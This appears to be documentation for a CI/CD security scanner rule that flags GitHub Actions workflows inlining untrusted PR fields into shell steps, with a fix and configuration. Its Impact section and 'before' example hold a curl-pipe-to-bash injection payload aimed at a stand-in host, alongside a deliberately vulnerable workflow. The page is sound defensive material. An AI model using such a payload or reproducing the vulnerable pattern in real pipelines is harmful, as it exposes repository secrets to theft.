Skip to main content
ISSUE-207 Critical Quick CLI CI/CD Variables

Workflow inlines user input into a shell script

Control: Workflow must not inline user input into shell scripts · Config key: workflowMustNotInjectUserInputInScripts

📋 What is this?

A run: step inlines an attacker-controlled **free-text** github field directly into a shell command. The expression value is interpolated by GitHub *before* the shell parses it, so a malicious PR title, comment body, or branch name becomes part of the executed script. The check fires only on the genuinely injectable subfields (titles, bodies, ref names, commit messages, fork metadata, author identity) — numeric, boolean, enum and SHA fields are deliberately ignored because they cannot carry an injection payload.

⚠️ Impact

Template injection is the GitHub Actions equivalent of SQL injection. A PR titled foo; curl evil.sh | bash; #` becomes a runtime shell command with the workflow's secrets in scope. This is the #1 cause of secret exfiltration on GitHub Actions over the past two years.

🔧 How to fix

Bind the untrusted value to an env: variable first, then reference the env var from the shell. The shell quotes env-var expansion naturally, breaking the injection.

✗ Before The PR title goes straight into the shell. `; curl evil.sh | bash; #` runs.
# .github/workflows/welcome.yml — ❌ Template injection
on: pull_request_target
jobs:
welcome:
runs-on: ubuntu-latest
steps:
- run: echo "Welcome ${{ github.event.pull_request.title }}!"
✓ After The shell sees a single argument; quoting is automatic.
# .github/workflows/welcome.yml — ✅ Bind through env:
on: pull_request_target
jobs:
welcome:
runs-on: ubuntu-latest
steps:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Welcome $PR_TITLE!"
# .plumber.yaml
github:
controls:
workflowMustNotInlineUserInputIntoShell:
enabled: true

💡 Tips

  • Flagged subfields (attacker-controlled free text): *.title, *.body, head.ref, head.label, default_branch, *.message, *.description, *.homepage, author.name, author.email, committer.name, committer.email, page_name, and github.head_ref.
  • Deliberately not flagged: pull_request.number, *.commits, head.repo.fork, event_name, author_association, *.sha, github.repository — these are integers, booleans, enums or SHAs that cannot carry shell metacharacters.
  • github.repository, github.sha, and github.ref_name are derived from server-trusted state — safer but still worth scoping.
  • Pair with ISSUE-802 to also catch the trigger side of the same attack.

⚙️ Configuration

This control is configured in .plumber.yaml under the github section:

github:
  controls:
    workflowMustNotInjectUserInputInScripts:
      enabled: true

See the CLI documentation for the full configuration reference.